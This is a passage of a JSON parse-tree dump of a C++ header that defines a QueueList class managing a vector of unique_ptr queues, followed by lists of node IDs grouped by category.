1336, "children": [], "start_point": {"row": 263, "column": 38}, "end_point": {"row": 263, "column": 38}}, {"id": 1339, "type": "argument_list", "text": "(const int index)", "parent": 1335, "children": [1340], "start_point": {"row": 263, "column": 39}, "end_point": {"row": 263, "column": 56}}, {"id": 1340, "type": "ERROR", "text": "int index", "parent": 1339, "children": [1341, 1342], "start_point": {"row": 263, "column": 46}, "end_point": {"row": 263, "column": 55}}, {"id": 1341, "type": "identifier", "text": "int", "parent": 1340, "children": [], "start_point": {"row": 263, "column": 46}, "end_point": {"row": 263, "column": 49}}, {"id": 1342, "type": "identifier", "text": "index", "parent": 1340, "children": [], "start_point": {"row": 263, "column": 50}, "end_point": {"row": 263, "column": 55}}, {"id": 1343, "type": "return_statement", "text": "return queue_list_[index];", "parent": 1322, "children": [1344], "start_point": {"row": 263, "column": 59}, "end_point": {"row": 263, "column": 85}}, {"id": 1344, "type": "subscript_expression", "text": "queue_list_[index]", "parent": 1343, "children": [1345, 1346], "start_point": {"row": 263, "column": 66}, "end_point": {"row": 263, "column": 84}}, {"id": 1345, "type": "identifier", "text": "queue_list_", "parent": 1344, "children": [], "start_point": {"row": 263, "column": 66}, "end_point": {"row": 263, "column": 77}}, {"id": 1346, "type": "identifier", "text": "index", "parent": 1344, "children": [], "start_point": {"row": 263, "column": 78}, "end_point": {"row": 263, "column": 83}}, {"id": 1347, "type": "function_definition", "text": "const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }", "parent": 48, "children": [1348, 1349, 1356], "start_point": {"row": 265, "column": 2}, "end_point": {"row": 265, "column": 99}}, {"id": 1348, "type": "type_identifier", "text": "std", "parent": 1347, "children": [], "start_point": {"row": 265, "column": 8}, "end_point": {"row": 265, "column": 11}}, {"id": 1349, "type": "ERROR", "text": "::unique_ptr<Queue<T>> &", "parent": 1347, "children": [1350, 1351, 1352, 1353, 1354, 1355], "start_point": {"row": 265, "column": 11}, "end_point": {"row": 265, "column": 35}}, {"id": 1350, "type": "identifier", "text": "unique_ptr", "parent": 1349, "children": [], "start_point": {"row": 265, "column": 13}, "end_point": {"row": 265, "column": 23}}, {"id": 1351, "type": "<", "text": "<", "parent": 1349, "children": [], "start_point": {"row": 265, "column": 23}, "end_point": {"row": 265, "column": 24}}, {"id": 1352, "type": "identifier", "text": "Queue", "parent": 1349, "children": [], "start_point": {"row": 265, "column": 24}, "end_point": {"row": 265, "column": 29}}, {"id": 1353, "type": "<", "text": "<", "parent": 1349, "children": [], "start_point": {"row": 265, "column": 29}, "end_point": {"row": 265, "column": 30}}, {"id": 1354, "type": "identifier", "text": "T", "parent": 1349, "children": [], "start_point": {"row": 265, "column": 30}, "end_point": {"row": 265, "column": 31}}, {"id": 1355, "type": ">>", "text": ">>", "parent": 1349, "children": [], "start_point": {"row": 265, "column": 31}, "end_point": {"row": 265, "column": 33}}, {"id": 1356, "type": "function_declarator", "text": "operator[](const int index) const", "parent": 1347, "children": [1357, 1359], "start_point": {"row": 265, "column": 35}, "end_point": {"row": 265, "column": 68}}, {"id": 1357, "type": "array_declarator", "text": "operator[]", "parent": 1356, "children": [1358], "start_point": {"row": 265, "column": 35}, "end_point": {"row": 265, "column": 45}}, {"id": 1358, "type": "identifier", "text": "operator", "parent": 1357, "children": [], "start_point": {"row": 265, "column": 35}, "end_point": {"row": 265, "column": 43}}, {"id": 1359, "type": "parameter_list", "text": "(const int index)", "parent": 1356, "children": [1360], "start_point": {"row": 265, "column": 45}, "end_point": {"row": 265, "column": 62}}, {"id": 1360, "type": "parameter_declaration", "text": "const int index", "parent": 1359, "children": [1361, 1362], "start_point": {"row": 265, "column": 46}, "end_point": {"row": 265, "column": 61}}, {"id": 1361, "type": "primitive_type", "text": "int", "parent": 1360, "children": [], "start_point": {"row": 265, "column": 52}, "end_point": {"row": 265, "column": 55}}, {"id": 1362, "type": "identifier", "text": "index", "parent": 1360, "children": [], "start_point": {"row": 265, "column": 56}, "end_point": {"row": 265, "column": 61}}, {"id": 1363, "type": "return_statement", "text": "return queue_list_[index];", "parent": 1347, "children": [1364], "start_point": {"row": 265, "column": 71}, "end_point": {"row": 265, "column": 97}}, {"id": 1364, "type": "subscript_expression", "text": "queue_list_[index]", "parent": 1363, "children": [1365, 1366], "start_point": {"row": 265, "column": 78}, "end_point": {"row": 265, "column": 96}}, {"id": 1365, "type": "identifier", "text": "queue_list_", "parent": 1364, "children": [], "start_point": {"row": 265, "column": 78}, "end_point": {"row": 265, "column": 89}}, {"id": 1366, "type": "identifier", "text": "index", "parent": 1364, "children": [], "start_point": {"row": 265, "column": 90}, "end_point": {"row": 265, "column": 95}}, {"id": 1367, "type": "unary_expression", "text": "~QueueList() = default", "parent": 48, "children": [1368, 1369], "start_point": {"row": 267, "column": 2}, "end_point": {"row": 267, "column": 24}}, {"id": 1368, "type": "~", "text": "~", "parent": 1367, "children": [], "start_point": {"row": 267, "column": 2}, "end_point": {"row": 267, "column": 3}}, {"id": 1369, "type": "assignment_expression", "text": "QueueList() = default", "parent": 1367, "children": [1370, 1373, 1374], "start_point": {"row": 267, "column": 3}, "end_point": {"row": 267, "column": 24}}, {"id": 1370, "type": "call_expression", "text": "QueueList()", "parent": 1369, "children": [1371, 1372], "start_point": {"row": 267, "column": 3}, "end_point": {"row": 267, "column": 14}}, {"id": 1371, "type": "identifier", "text": "QueueList", "parent": 1370, "children": [], "start_point": {"row": 267, "column": 3}, "end_point": {"row": 267, "column": 12}}, {"id": 1372, "type": "argument_list", "text": "()", "parent": 1370, "children": [], "start_point": {"row": 267, "column": 12}, "end_point": {"row": 267, "column": 14}}, {"id": 1373, "type": "=", "text": "=", "parent": 1369, "children": [], "start_point": {"row": 267, "column": 15}, "end_point": {"row": 267, "column": 16}}, {"id": 1374, "type": "identifier", "text": "default", "parent": 1369, "children": [], "start_point": {"row": 267, "column": 17}, "end_point": {"row": 267, "column": 24}}, {"id": 1375, "type": "function_definition", "text": "Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }", "parent": 48, "children": [1376, 1377], "start_point": {"row": 269, "column": 2}, "end_point": {"row": 272, "column": 3}}, {"id": 1376, "type": "type_identifier", "text": "Status", "parent": 1375, "children": [], "start_point": {"row": 269, "column": 2}, "end_point": {"row": 269, "column": 8}}, {"id": 1377, "type": "function_declarator", "text": "AddQueue(TaskGroup *vg)", "parent": 1375, "children": [1378, 1379], "start_point": {"row": 269, "column": 9}, "end_point": {"row": 269, "column": 32}}, {"id": 1378, "type": "identifier", "text": "AddQueue", "parent": 1377, "children": [], "start_point": {"row": 269, "column": 9}, "end_point": {"row": 269, "column": 17}}, {"id": 1379, "type": "parameter_list", "text": "(TaskGroup *vg)", "parent": 1377, "children": [1380], "start_point": {"row": 269, "column": 17}, "end_point": {"row": 269, "column": 32}}, {"id": 1380, "type": "parameter_declaration", "text": "TaskGroup *vg", "parent": 1379, "children": [1381, 1382], "start_point": {"row": 269, "column": 18}, "end_point": {"row": 269, "column": 31}}, {"id": 1381, "type": "type_identifier", "text": "TaskGroup", "parent": 1380, "children": [], "start_point": {"row": 269, "column": 18}, "end_point": {"row": 269, "column": 27}}, {"id": 1382, "type": "pointer_declarator", "text": "*vg", "parent": 1380, "children": [1383, 1384], "start_point": {"row": 269, "column": 28}, "end_point": {"row": 269, "column": 31}}, {"id": 1383, "type": "*", "text": "*", "parent": 1382, "children": [], "start_point": {"row": 269, "column": 28}, "end_point": {"row": 269, "column": 29}}, {"id": 1384, "type": "identifier", "text": "vg", "parent": 1382, "children": [], "start_point": {"row": 269, "column": 29}, "end_point": {"row": 269, "column": 31}}, {"id": 1385, "type": "call_expression", "text": "queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()))", "parent": 1375, "children": [1386, 1389], "start_point": {"row": 270, "column": 4}, "end_point": {"row": 270, "column": 84}}, {"id": 1386, "type": "field_expression", "text": "queue_list_.emplace_back", "parent": 1385, "children": [1387, 1388], "start_point": {"row": 270, "column": 4}, "end_point": {"row": 270, "column": 28}}, {"id": 1387, "type": "identifier", "text": "queue_list_", "parent": 1386, "children": [], "start_point": {"row": 270, "column": 4}, "end_point": {"row": 270, "column": 15}}, {"id": 1388, "type": "field_identifier", "text": "emplace_back", "parent": 1386, "children": [], "start_point": {"row": 270, "column": 16}, "end_point": {"row": 270, "column": 28}}, {"id": 1389, "type": "argument_list", "text": "(std::make_unique<Queue<T>>(queue_list_[0]->capacity()))", "parent": 1385, "children": [1390, 1392], "start_point": {"row": 270, "column": 28}, "end_point": {"row": 270, "column": 84}}, {"id": 1390, "type": "ERROR", "text": "std::", "parent": 1389, "children": [1391], "start_point": {"row": 270, "column": 29}, "end_point": {"row": 270, "column": 34}}, {"id": 1391, "type": "identifier", "text": "std", "parent": 1390, "children": [], "start_point": {"row": 270, "column": 29}, "end_point": {"row": 270, "column": 32}}, {"id": 1392, "type": "binary_expression", "text": "make_unique<Queue<T>>(queue_list_[0]->capacity())", "parent": 1389, "children": [1393, 1397, 1398], "start_point": {"row": 270, "column": 34}, "end_point": {"row": 270, "column": 83}}, {"id": 1393, "type": "binary_expression", "text": "make_unique<Queue", "parent": 1392, "children": [1394, 1395, 1396], "start_point": {"row": 270, "column": 34}, "end_point": {"row": 270, "column": 51}}, {"id": 1394, "type": "identifier", "text": "make_unique", "parent": 1393, "children": [], "start_point": {"row": 270, "column": 34}, "end_point": {"row": 270, "column": 45}}, {"id": 1395, "type": "<", "text": "<", "parent": 1393, "children": [], "start_point": {"row": 270, "column": 45}, "end_point": {"row": 270, "column": 46}}, {"id": 1396, "type": "identifier", "text": "Queue", "parent": 1393, "children": [], "start_point": {"row": 270, "column": 46}, "end_point": {"row": 270, "column": 51}}, {"id": 1397, "type": "<", "text": "<", "parent": 1392, "children": [], "start_point": {"row": 270, "column": 51}, "end_point": {"row": 270, "column": 52}}, {"id": 1398, "type": "binary_expression", "text": "T>>(queue_list_[0]->capacity())", "parent": 1392, "children": [1399, 1400, 1401], "start_point": {"row": 270, "column": 52}, "end_point": {"row": 270, "column": 83}}, {"id": 1399, "type": "identifier", "text": "T", "parent": 1398, "children": [], "start_point": {"row": 270, "column": 52}, "end_point": {"row": 270, "column": 53}}, {"id": 1400, "type": ">>", "text": ">>", "parent": 1398, "children": [], "start_point": {"row": 270, "column": 53}, "end_point": {"row": 270, "column": 55}}, {"id": 1401, "type": "parenthesized_expression", "text": "(queue_list_[0]->capacity())", "parent": 1398, "children": [1402], "start_point": {"row": 270, "column": 55}, "end_point": {"row": 270, "column": 83}}, {"id": 1402, "type": "call_expression", "text": "queue_list_[0]->capacity()", "parent": 1401, "children": [1403, 1408], "start_point": {"row": 270, "column": 56}, "end_point": {"row": 270, "column": 82}}, {"id": 1403, "type": "field_expression", "text": "queue_list_[0]->capacity", "parent": 1402, "children": [1404, 1407], "start_point": {"row": 270, "column": 56}, "end_point": {"row": 270, "column": 80}}, {"id": 1404, "type": "subscript_expression", "text": "queue_list_[0]", "parent": 1403, "children": [1405, 1406], "start_point": {"row": 270, "column": 56}, "end_point": {"row": 270, "column": 70}}, {"id": 1405, "type": "identifier", "text": "queue_list_", "parent": 1404, "children": [], "start_point": {"row": 270, "column": 56}, "end_point": {"row": 270, "column": 67}}, {"id": 1406, "type": "number_literal", "text": "0", "parent": 1404, "children": [], "start_point": {"row": 270, "column": 68}, "end_point": {"row": 270, "column": 69}}, {"id": 1407, "type": "field_identifier", "text": "capacity", "parent": 1403, "children": [], "start_point": {"row": 270, "column": 72}, "end_point": {"row": 270, "column": 80}}, {"id": 1408, "type": "argument_list", "text": "()", "parent": 1402, "children": [], "start_point": {"row": 270, "column": 80}, "end_point": {"row": 270, "column": 82}}, {"id": 1409, "type": "return_statement", "text": "return queue_list_[queue_list_.size() - 1]->Register(vg);", "parent": 1375, "children": [1410], "start_point": {"row": 271, "column": 4}, "end_point": {"row": 271, "column": 61}}, {"id": 1410, "type": "call_expression", "text": "queue_list_[queue_list_.size() - 1]->Register(vg)", "parent": 1409, "children": [1411, 1423], "start_point": {"row": 271, "column": 11}, "end_point": {"row": 271, "column": 60}}, {"id": 1411, "type": "field_expression", "text": "queue_list_[queue_list_.size() - 1]->Register", "parent": 1410, "children": [1412, 1422], "start_point": {"row": 271, "column": 11}, "end_point": {"row": 271, "column": 56}}, {"id": 1412, "type": "subscript_expression", "text": "queue_list_[queue_list_.size() - 1]", "parent": 1411, "children": [1413, 1414], "start_point": {"row": 271, "column": 11}, "end_point": {"row": 271, "column": 46}}, {"id": 1413, "type": "identifier", "text": "queue_list_", "parent": 1412, "children": [], "start_point": {"row": 271, "column": 11}, "end_point": {"row": 271, "column": 22}}, {"id": 1414, "type": "binary_expression", "text": "queue_list_.size() - 1", "parent": 1412, "children": [1415, 1420, 1421], "start_point": {"row": 271, "column": 23}, "end_point": {"row": 271, "column": 45}}, {"id": 1415, "type": "call_expression", "text": "queue_list_.size()", "parent": 1414, "children": [1416, 1419], "start_point": {"row": 271, "column": 23}, "end_point": {"row": 271, "column": 41}}, {"id": 1416, "type": "field_expression", "text": "queue_list_.size", "parent": 1415, "children": [1417, 1418], "start_point": {"row": 271, "column": 23}, "end_point": {"row": 271, "column": 39}}, {"id": 1417, "type": "identifier", "text": "queue_list_", "parent": 1416, "children": [], "start_point": {"row": 271, "column": 23}, "end_point": {"row": 271, "column": 34}}, {"id": 1418, "type": "field_identifier", "text": "size", "parent": 1416, "children": [], "start_point": {"row": 271, "column": 35}, "end_point": {"row": 271, "column": 39}}, {"id": 1419, "type": "argument_list", "text": "()", "parent": 1415, "children": [], "start_point": {"row": 271, "column": 39}, "end_point": {"row": 271, "column": 41}}, {"id": 1420, "type": "-", "text": "-", "parent": 1414, "children": [], "start_point": {"row": 271, "column": 42}, "end_point": {"row": 271, "column": 43}}, {"id": 1421, "type": "number_literal", "text": "1", "parent": 1414, "children": [], "start_point": {"row": 271, "column": 44}, "end_point": {"row": 271, "column": 45}}, {"id": 1422, "type": "field_identifier", "text": "Register", "parent": 1411, "children": [], "start_point": {"row": 271, "column": 48}, "end_point": {"row": 271, "column": 56}}, {"id": 1423, "type": "argument_list", "text": "(vg)", "parent": 1410, "children": [1424], "start_point": {"row": 271, "column": 56}, "end_point": {"row": 271, "column": 60}}, {"id": 1424, "type": "identifier", "text": "vg", "parent": 1423, "children": [], "start_point": {"row": 271, "column": 57}, "end_point": {"row": 271, "column": 59}}, {"id": 1425, "type": "function_definition", "text": "Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, \"Cannot remove more than the current queues.\");\n queue_list_.pop_back();\n return Status::OK();\n }", "parent": 48, "children": [1426, 1427], "start_point": {"row": 273, "column": 2}, "end_point": {"row": 277, "column": 3}}, {"id": 1426, "type": "type_identifier", "text": "Status", "parent": 1425, "children": [], "start_point": {"row": 273, "column": 2}, "end_point": {"row": 273, "column": 8}}, {"id": 1427, "type": "function_declarator", "text": "RemoveLastQueue()", "parent": 1425, "children": [1428, 1429], "start_point": {"row": 273, "column": 9}, "end_point": {"row": 273, "column": 26}}, {"id": 1428, "type": "identifier", "text": "RemoveLastQueue", "parent": 1427, "children": [], "start_point": {"row": 273, "column": 9}, "end_point": {"row": 273, "column": 24}}, {"id": 1429, "type": "parameter_list", "text": "()", "parent": 1427, "children": [], "start_point": {"row": 273, "column": 24}, "end_point": {"row": 273, "column": 26}}, {"id": 1430, "type": "call_expression", "text": "CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, \"Cannot remove more than the current queues.\")", "parent": 1425, "children": [1431, 1432], "start_point": {"row": 274, "column": 4}, "end_point": {"row": 274, "column": 103}}, {"id": 1431, "type": "identifier", "text": "CHECK_FAIL_RETURN_UNEXPECTED", "parent": 1430, "children": [], "start_point": {"row": 274, "column": 4}, "end_point": {"row": 274, "column": 32}}, {"id": 1432, "type": "argument_list", "text": "(queue_list_.size() > 1, \"Cannot remove more than the current queues.\")", "parent": 1430, "children": [1433, 1441], "start_point": {"row": 274, "column": 32}, "end_point": {"row": 274, "column": 103}}, {"id": 1433, "type": "binary_expression", "text": "queue_list_.size() > 1", "parent": 1432, "children": [1434, 1439, 1440], "start_point": {"row": 274, "column": 33}, "end_point": {"row": 274, "column": 55}}, {"id": 1434, "type": "call_expression", "text": "queue_list_.size()", "parent": 1433, "children": [1435, 1438], "start_point": {"row": 274, "column": 33}, "end_point": {"row": 274, "column": 51}}, {"id": 1435, "type": "field_expression", "text": "queue_list_.size", "parent": 1434, "children": [1436, 1437], "start_point": {"row": 274, "column": 33}, "end_point": {"row": 274, "column": 49}}, {"id": 1436, "type": "identifier", "text": "queue_list_", "parent": 1435, "children": [], "start_point": {"row": 274, "column": 33}, "end_point": {"row": 274, "column": 44}}, {"id": 1437, "type": "field_identifier", "text": "size", "parent": 1435, "children": [], "start_point": {"row": 274, "column": 45}, "end_point": {"row": 274, "column": 49}}, {"id": 1438, "type": "argument_list", "text": "()", "parent": 1434, "children": [], "start_point": {"row": 274, "column": 49}, "end_point": {"row": 274, "column": 51}}, {"id": 1439, "type": ">", "text": ">", "parent": 1433, "children": [], "start_point": {"row": 274, "column": 52}, "end_point": {"row": 274, "column": 53}}, {"id": 1440, "type": "number_literal", "text": "1", "parent": 1433, "children": [], "start_point": {"row": 274, "column": 54}, "end_point": {"row": 274, "column": 55}}, {"id": 1441, "type": "string_literal", "text": "\"Cannot remove more than the current queues.\"", "parent": 1432, "children": [], "start_point": {"row": 274, "column": 57}, "end_point": {"row": 274, "column": 102}}, {"id": 1442, "type": "call_expression", "text": "queue_list_.pop_back()", "parent": 1425, "children": [1443, 1446], "start_point": {"row": 275, "column": 4}, "end_point": {"row": 275, "column": 26}}, {"id": 1443, "type": "field_expression", "text": "queue_list_.pop_back", "parent": 1442, "children": [1444, 1445], "start_point": {"row": 275, "column": 4}, "end_point": {"row": 275, "column": 24}}, {"id": 1444, "type": "identifier", "text": "queue_list_", "parent": 1443, "children": [], "start_point": {"row": 275, "column": 4}, "end_point": {"row": 275, "column": 15}}, {"id": 1445, "type": "field_identifier", "text": "pop_back", "parent": 1443, "children": [], "start_point": {"row": 275, "column": 16}, "end_point": {"row": 275, "column": 24}}, {"id": 1446, "type": "argument_list", "text": "()", "parent": 1442, "children": [], "start_point": {"row": 275, "column": 24}, "end_point": {"row": 275, "column": 26}}, {"id": 1447, "type": "return_statement", "text": "return Status::OK();", "parent": 1425, "children": [1448, 1450], "start_point": {"row": 276, "column": 4}, "end_point": {"row": 276, "column": 24}}, {"id": 1448, "type": "ERROR", "text": "Status::", "parent": 1447, "children": [1449], "start_point": {"row": 276, "column": 11}, "end_point": {"row": 276, "column": 19}}, {"id": 1449, "type": "identifier", "text": "Status", "parent": 1448, "children": [], "start_point": {"row": 276, "column": 11}, "end_point": {"row": 276, "column": 17}}, {"id": 1450, "type": "call_expression", "text": "OK()", "parent": 1447, "children": [1451, 1452], "start_point": {"row": 276, "column": 19}, "end_point": {"row": 276, "column": 23}}, {"id": 1451, "type": "identifier", "text": "OK", "parent": 1450, "children": [], "start_point": {"row": 276, "column": 19}, "end_point": {"row": 276, "column": 21}}, {"id": 1452, "type": "argument_list", "text": "()", "parent": 1450, "children": [], "start_point": {"row": 276, "column": 21}, "end_point": {"row": 276, "column": 23}}, {"id": 1453, "type": "labeled_statement", "text": "private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;", "parent": 48, "children": [1454], "start_point": {"row": 279, "column": 1}, "end_point": {"row": 283, "column": 53}}, {"id": 1454, "type": "labeled_statement", "text": "std::vector<std::unique_ptr<Queue<T>>> queue_list_;", "parent": 1453, "children": [1455, 1456], "start_point": {"row": 283, "column": 2}, "end_point": {"row": 283, "column": 53}}, {"id": 1455, "type": "statement_identifier", "text": "std", "parent": 1454, "children": [], "start_point": {"row": 283, "column": 2}, "end_point": {"row": 283, "column": 5}}, {"id": 1456, "type": "ERROR", "text": "::vector<std:", "parent": 1454, "children": [1457], "start_point": {"row": 283, "column": 5}, "end_point": {"row": 283, "column": 18}}, {"id": 1457, "type": "binary_expression", "text": "vector<std", "parent": 1456, "children": [1458, 1459, 1460], "start_point": {"row": 283, "column": 7}, "end_point": {"row": 283, "column": 17}}, {"id": 1458, "type": "identifier", "text": "vector", "parent": 1457, "children": [], "start_point": {"row": 283, "column": 7}, "end_point": {"row": 283, "column": 13}}, {"id": 1459, "type": "<", "text": "<", "parent": 1457, "children": [], "start_point": {"row": 283, "column": 13}, "end_point": {"row": 283, "column": 14}}, {"id": 1460, "type": "identifier", "text": "std", "parent": 1457, "children": [], "start_point": {"row": 283, "column": 14}, "end_point": {"row": 283, "column": 17}}, {"id": 1461, "type": "binary_expression", "text": "unique_ptr<Queue<T>>> queue_list_", "parent": 1454, "children": [1462, 1466, 1467], "start_point": {"row": 283, "column": 19}, "end_point": {"row": 283, "column": 52}}, {"id": 1462, "type": "binary_expression", "text": "unique_ptr<Queue", "parent": 1461, "children": [1463, 1464, 1465], "start_point": {"row": 283, "column": 19}, "end_point": {"row": 283, "column": 35}}, {"id": 1463, "type": "identifier", "text": "unique_ptr", "parent": 1462, "children": [], "start_point": {"row": 283, "column": 19}, "end_point": {"row": 283, "column": 29}}, {"id": 1464, "type": "<", "text": "<", "parent": 1462, "children": [], "start_point": {"row": 283, "column": 29}, "end_point": {"row": 283, "column": 30}}, {"id": 1465, "type": "identifier", "text": "Queue", "parent": 1462, "children": [], "start_point": {"row": 283, "column": 30}, "end_point": {"row": 283, "column": 35}}, {"id": 1466, "type": "<", "text": "<", "parent": 1461, "children": [], "start_point": {"row": 283, "column": 35}, "end_point": {"row": 283, "column": 36}}, {"id": 1467, "type": "binary_expression", "text": "T>>> queue_list_", "parent": 1461, "children": [1468, 1469, 1470, 1472], "start_point": {"row": 283, "column": 36}, "end_point": {"row": 283, "column": 52}}, {"id": 1468, "type": "identifier", "text": "T", "parent": 1467, "children": [], "start_point": {"row": 283, "column": 36}, "end_point": {"row": 283, "column": 37}}, {"id": 1469, "type": ">>", "text": ">>", "parent": 1467, "children": [], "start_point": {"row": 283, "column": 37}, "end_point": {"row": 283, "column": 39}}, {"id": 1470, "type": "ERROR", "text": ">", "parent": 1467, "children": [1471], "start_point": {"row": 283, "column": 39}, "end_point": {"row": 283, "column": 40}}, {"id": 1471, "type": ">", "text": ">", "parent": 1470, "children": [], "start_point": {"row": 283, "column": 39}, "end_point": {"row": 283, "column": 40}}, {"id": 1472, "type": "identifier", "text": "queue_list_", "parent": 1467, "children": [], "start_point": {"row": 283, "column": 41}, "end_point": {"row": 283, "column": 52}}, {"id": 1473, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 287, "column": 0}, "end_point": {"row": 287, "column": 6}}]}, "node_categories": {"declarations": {"functions": [48, 51, 103, 113, 124, 129, 135, 140, 192, 196, 202, 204, 230, 237, 245, 247, 272, 274, 356, 358, 538, 568, 570, 648, 650, 700, 702, 965, 967, 1001, 1003, 1048, 1050, 1135, 1137, 1201, 1203, 1250, 1252, 1347, 1356, 1375, 1377, 1425, 1427], "variables": [65, 71, 79, 87, 93, 100, 106, 116, 138, 207, 216, 277, 295, 361, 381, 483, 519, 532, 541, 573, 590, 653, 658, 673, 705, 760, 779, 835, 874, 919, 943, 946, 951, 956, 959, 962, 970, 973, 1006, 1011, 1053, 1056, 1059, 1147, 1206, 1209, 1219, 1255, 1278, 1360, 1380], "classes": [520, 974, 1012, 1060, 1313], "imports": [6, 7, 9, 10, 12, 13, 15, 16, 18, 19, 21, 22, 24, 25, 27, 28, 30, 31, 33, 34, 36, 37, 39, 40, 42, 43, 45, 46], "modules": [], "enums": []}, "statements": {"expressions": [55, 56, 109, 147, 148, 154, 155, 156, 160, 161, 169, 173, 174, 175, 176, 177, 178, 199, 212, 241, 253, 257, 260, 264, 267, 268, 284, 288, 291, 300, 301, 306, 307, 308, 309, 315, 316, 317, 321, 325, 326, 327, 331, 334, 338, 339, 343, 344, 349, 350, 370, 374, 377, 386, 387, 392, 393, 394, 395, 401, 402, 403, 407, 411, 412, 413, 417, 418, 429, 432, 433, 437, 438, 443, 444, 451, 452, 461, 464, 472, 476, 479, 488, 489, 494, 495, 496, 497, 503, 504, 505, 509, 513, 514, 515, 526, 527, 550, 551, 555, 556, 561, 562, 579, 583, 586, 595, 596, 601, 602, 603, 604, 610, 612, 616, 617, 618, 622, 625, 630, 631, 635, 636, 641, 642, 663, 664, 668, 669, 678, 679, 683, 684, 689, 690, 691, 711, 715, 718, 722, 725, 730, 734, 735, 741, 744, 747, 752, 753, 766, 770, 774, 775, 782, 785, 786, 790, 793, 794, 801, 802, 804, 805, 809, 810, 814, 817, 818, 822, 823, 830, 831, 838, 841, 842, 846, 849, 850, 855, 856, 860, 863, 864, 880, 883, 884, 888, 891, 894, 895, 899, 902, 903, 907, 908, 915, 922, 923, 927, 930, 936, 937, 980, 981, 987, 989, 990, 998, 1018, 1019, 1024, 1025, 1027, 1029, 1030, 1040, 1045, 1066, 1067, 1074, 1079, 1082, 1084, 1085, 1089, 1090, 1091, 1093, 1094, 1100, 1103, 1104, 1110, 1111, 1116, 1117, 1120, 1121, 1125, 1126, 1132, 1142, 1143, 1150, 1151, 1155, 1158, 1159, 1160, 1167, 1169, 1170, 1174, 1175, 1188, 1189, 1198, 1212, 1213, 1225, 1229, 1232, 1233, 1239, 1240, 1245, 1248, 1261, 1262, 1268, 1284, 1287, 1288, 1292, 1295, 1298, 1299, 1300, 1309, 1317, 1318, 1325, 1326, 1331, 1334, 1335, 1336, 1344, 1364, 1367, 1370, 1385, 1386, 1392, 1393, 1398, 1401, 1402, 1403, 1404, 1410, 1411, 1412, 1414, 1415, 1416, 1430, 1433, 1434, 1435, 1442, 1443, 1450, 1457, 1461, 1462, 1467], "assignments": [869, 986, 1026, 1073, 1179, 1183, 1369], "loops": [759, 829, 873, 1141, 1218, 1277], "conditionals": [0, 1, 2, 5, 49, 50, 52, 53, 57, 59, 61, 63, 66, 68, 70, 72, 74, 76, 80, 82, 85, 88, 90, 92, 94, 96, 99, 101, 104, 108, 110, 112, 114, 117, 119, 121, 125, 130, 136, 139, 141, 143, 145, 149, 150, 152, 153, 157, 158, 162, 164, 168, 170, 179, 181, 185, 189, 193, 197, 200, 205, 210, 213, 215, 217, 219, 225, 231, 234, 238, 242, 244, 248, 251, 254, 256, 258, 261, 263, 265, 269, 270, 273, 275, 278, 279, 280, 282, 285, 287, 289, 292, 294, 296, 298, 302, 303, 310, 311, 313, 318, 322, 324, 328, 329, 332, 335, 337, 340, 341, 345, 346, 351, 352, 355, 357, 359, 362, 365, 366, 368, 371, 373, 375, 378, 380, 382, 384, 388, 389, 396, 397, 399, 404, 408, 410, 414, 415, 419, 421, 424, 425, 427, 430, 434, 435, 439, 440, 445, 446, 449, 453, 455, 457, 460, 462, 465, 467, 468, 470, 473, 475, 477, 480, 482, 484, 486, 490, 491, 498, 499, 501, 506, 510, 512, 516, 517, 522, 524, 528, 531, 533, 535, 537, 539, 542, 544, 546, 548, 552, 553, 557, 558, 563, 564, 567, 569, 571, 574, 575, 577, 580, 582, 584, 587, 589, 591, 593, 597, 598, 605, 606, 608, 613, 615, 619, 620, 623, 626, 628, 632, 633, 637, 638, 643, 644, 647, 649, 651, 654, 657, 659, 661, 665, 666, 670, 671, 674, 676, 680, 681, 685, 686, 688, 692, 693, 696, 699, 701, 703, 707, 709, 712, 714, 716, 719, 721, 723, 726, 733, 736, 738, 742, 745, 748, 751, 754, 756, 758, 763, 767, 769, 772, 773, 776, 778, 780, 781, 783, 787, 788, 791, 795, 796, 798, 800, 806, 807, 811, 812, 815, 819, 820, 824, 832, 834, 836, 837, 839, 843, 844, 847, 851, 852, 854, 857, 858, 861, 865, 866, 868, 870, 872, 877, 881, 885, 886, 890, 892, 896, 897, 900, 901, 904, 905, 909, 910, 914, 916, 921, 924, 926, 928, 931, 933, 935, 938, 940, 942, 945, 948, 950, 952, 953, 955, 957, 958, 960, 961, 963, 964, 966, 968, 971, 972, 976, 978, 982, 985, 991, 992, 994, 997, 999, 1002, 1004, 1007, 1010, 1014, 1016, 1020, 1023, 1031, 1032, 1034, 1036, 1038, 1041, 1044, 1046, 1049, 1051, 1054, 1055, 1058, 1062, 1064, 1068, 1071, 1076, 1078, 1080, 1086, 1087, 1088, 1095, 1096, 1099, 1101, 1105, 1106, 1109, 1112, 1114, 1118, 1122, 1123, 1127, 1131, 1133, 1138, 1140, 1144, 1146, 1148, 1149, 1152, 1153, 1156, 1161, 1163, 1168, 1171, 1172, 1176, 1177, 1180, 1184, 1190, 1192, 1194, 1196, 1199, 1204, 1208, 1211, 1214, 1215, 1217, 1222, 1226, 1228, 1230, 1234, 1235, 1238, 1241, 1243, 1246, 1249, 1251, 1253, 1256, 1259, 1260, 1263, 1269, 1272, 1273, 1274, 1275, 1281, 1285, 1289, 1290, 1294, 1296, 1301, 1302, 1303, 1305, 1308, 1310, 1315, 1319, 1320, 1323, 1327, 1329, 1332, 1337, 1338, 1341, 1342, 1345, 1346, 1348, 1350, 1352, 1354, 1358, 1362, 1365, 1366, 1371, 1374, 1376, 1378, 1381, 1384, 1387, 1388, 1391, 1394, 1396, 1399, 1405, 1407, 1413, 1417, 1418, 1422, 1424, 1426, 1428, 1431, 1436, 1437, 1444, 1445, 1449, 1451, 1455, 1458, 1460, 1463, 1465, 1468, 1472, 1473], "returns": [233, 240, 314, 354, 400, 448, 502, 566, 609, 646, 695, 698, 912, 995, 1042, 